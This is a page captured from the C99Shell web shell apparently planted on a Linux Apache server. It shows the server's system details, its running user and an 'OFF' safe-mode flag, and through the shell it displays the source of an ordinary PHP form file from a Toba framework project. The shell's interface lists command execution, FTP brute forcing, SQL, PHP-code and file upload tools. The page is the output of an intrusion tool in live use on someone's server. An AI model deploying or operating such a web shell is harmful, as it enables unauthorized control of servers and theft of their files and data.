!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/proyectos/toba_editor/php/editores/editor_item/   drwxrwxr-x
Free 14.23 GB of 61.93 GB (22.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     form_prop_basicas.php (6.02 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('seleccion_imagenes.php');

class 
form_prop_basicas extends toba_ei_formulario
{
    function 
extender_objeto_js()
    {
        
$id_js toba::escaper()->escapeJs($this->objeto_js);
        echo 
"
            if (window.toggle_editable) {
                toggle_editable();
            }
            
            
{$id_js}.evt__menu__procesar = function() {
                if (this.ef('menu').chequeado())
                    this.ef('orden').mostrar();
                else
                    this.ef('orden').ocultar();
            }
            
            
{$id_js}.evt__zona__procesar = function() {
                if (this.ef('zona').valor() != apex_ef_no_seteado) {
                    this.ef('zona_listar').mostrar();
                } else {
                    this.ef('zona_listar').ocultar();
                }
                this.evt__zona_listar__procesar();
            }
            
            
{$id_js}.evt__zona_listar__procesar = function() {
                if (this.ef('zona_listar').chequeado()) {
                    this.ef('zona_orden').mostrar();
                } else {
                    this.ef('zona_orden').ocultar();                
                }
            }
            
            
            
{$id_js}.evt__solicitud_tipo__procesar = function() {
                var efs_web = [        
                                'seccion_web', 'pagina_tipo', 'menu', 'orden', 
                                'retrasar_headers', 'imagen_recurso_origen', 'imagen', 'descripcion', 'zona',
                                'zona_listar', 'zona_orden'    
                            ];
                    switch (this.ef('solicitud_tipo').get_estado()) {
                    case 'accion':
                        this.controlador.ocultar_tab('pant_dependencias');
                        this.controlador.mostrar_tab('pant_permisos');
                        this.ef('accion').mostrar();    
                        this.ef('punto_montaje').mostrar();
                        this.ef('publico').mostrar();
                        for (var i = 0; i < efs_web.length; i++) {
                            this.ef(efs_web[i]).ocultar();
                        }
                        break;
                    case 'web':
                        this.controlador.mostrar_tab('pant_dependencias');
                        this.controlador.mostrar_tab('pant_permisos');                                            
                        this.ef('accion').mostrar();
                        this.ef('punto_montaje').mostrar();
                        this.ef('publico').mostrar();
                        for (var i = 0; i < efs_web.length; i++) {
                            this.ef(efs_web[i]).mostrar();
                        }
                        this.evt__menu__procesar();
                        this.evt__zona__procesar();
                        this.evt__zona_listar__procesar();
                        break;
                    case 'servicio_web':
                        this.controlador.mostrar_tab('pant_dependencias');
                        this.controlador.ocultar_tab('pant_permisos');                        
                        this.ef('accion').ocultar();
                        this.ef('punto_montaje').ocultar();
                        this.ef('publico').ocultar();
                        for (var i = 0; i < efs_web.length; i++) {
                            this.ef(efs_web[i]).ocultar();
                        }                        
                        break;
                    case 'consola':
                    default:
                        this.controlador.ocultar_tab('pant_dependencias');                    
                        this.controlador.ocultar_tab('pant_permisos');
                        this.ef('accion').mostrar();
                        this.ef('punto_montaje').mostrar();
                        this.ef('publico').ocultar();
                        for (var i = 0; i < efs_web.length; i++) {
                            this.ef(efs_web[i]).ocultar();
                        }                        
                }
            }
            
            
{$id_js}.evt__punto_montaje__procesar = function(inicial) {
                if (!inicial) {
                    this.ef('accion').cambiar_valor('');
                }
            }

            
{$id_js}.modificar_vinculo__ef_accion = function(id_vinculo)
            {
                var estado = this.ef('punto_montaje').get_estado();
                vinculador.agregar_parametros(id_vinculo, {'punto_montaje': estado});
            }
            
            
{$id_js}.modificar_vinculo__extender = function(id_vinculo)
            {
                var estado = this.ef('punto_montaje').get_estado();
                vinculador.agregar_parametros(id_vinculo, {'punto_montaje': estado});
            }
        "
;
        
seleccion_imagenes::generar_js($this->objeto_js);
    }
    
    function 
generar_input_ef($ef)
    {
        if (
$ef == 'imagen') {
            echo 
"<div class='editor-imagen-preview'>";
            
$this->generar_input_ef('imagen_recurso_origen');    
        }
        
parent::generar_input_ef($ef);
        if (
$ef == 'imagen') {
            
$origen $this->ef('imagen_recurso_origen')->get_estado();
            
$img $this->ef($ef)->get_estado();
            
seleccion_imagenes::generar_input_ef($origen$img$this->objeto_js);
            echo 
'</div>';
        } 
    }
    
    protected function 
generar_html_ef($ef$ancho_etiqueta=null)
    {
        if (
$ef != 'imagen_recurso_origen') {
            
parent::generar_html_ef($ef);
        }    
    }
}

class 
utileria_identificador_nuevo implements toba_ef_icono_utileria 
{
    function 
get_html(toba_ef $ef
    {
        
$escapador toba::escaper();
        
$editable toba_recurso::imagen_toba('objetos/editar.gif'false);        
        
$no_editable toba_recurso::imagen_toba('limpiar.png'false);
        
$objeto_js $ef->objeto_js();
        echo 
"<script>
            function toggle_editable() {
                var ef = "
$escapador->escapeJs($objeto_js) ."
                if (!ef.input().disabled) {
                    ef.input().disabled = true;
                    \$\$('utileria_identificador').src = '"
$escapador->escapeJs($editable). "';
                    \$\$('utileria_identificador').title = 'Editar Identificador';
                    ef.set_estado('"
.id_temporal."');                    
                } else {
                    ef.input().disabled = false;                
                    \$\$('utileria_identificador').src = '"
$escapador->escapeJs($no_editable). "';
                    \$\$('utileria_identificador').title = 'Resetar Identificador';
                    ef.set_estado('');
                    ef.seleccionar();                    
                }
            }
        </script>"
;
        
$salida "<a class='icono-utileria' href='#' onclick=\"toggle_editable(); return false\">";
        
$salida .= "<img id='utileria_identificador' src='"$escapador->escapeHtmlAttr($editable)."' title='Editar Identificador'>";
        
$salida .= '</a>';
        return 
$salida;        
    }
}

class 
utileria_identificador_actual implements toba_ef_icono_utileria 
{
    function 
get_html(toba_ef $ef
    {
        
$editable toba_recurso::imagen_toba('objetos/editar.gif'false);        
        
$objeto_js toba::escaper()->escapeJs($ef->objeto_js());
        echo 
"<script>
            function toggle_editable() {
                var ef = 
$objeto_js
                if (!ef.input().disabled) {
                    ef.input().disabled = true;
                    \$\$('utileria_identificador').src = '
$editable';
                    \$\$('utileria_identificador').title = 'Editar Identificador';
                } else {
                    ef.input().disabled = false;                
                    \$\$('utileria_identificador').src = '
$editable';
                    \$\$('utileria_identificador').title = 'Resetar Identificador';
                    ef.seleccionar();                    
                }
            }
        </script>"
;
        
$salida "<a class='icono-utileria' href='#' onclick=\"toggle_editable(); return false\">";
        
$salida .= "<img id='utileria_identificador' src='$editable' title='Editar Identificador'>";
        
$salida .= '</a>';
        return 
$salida;        
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6221 ]--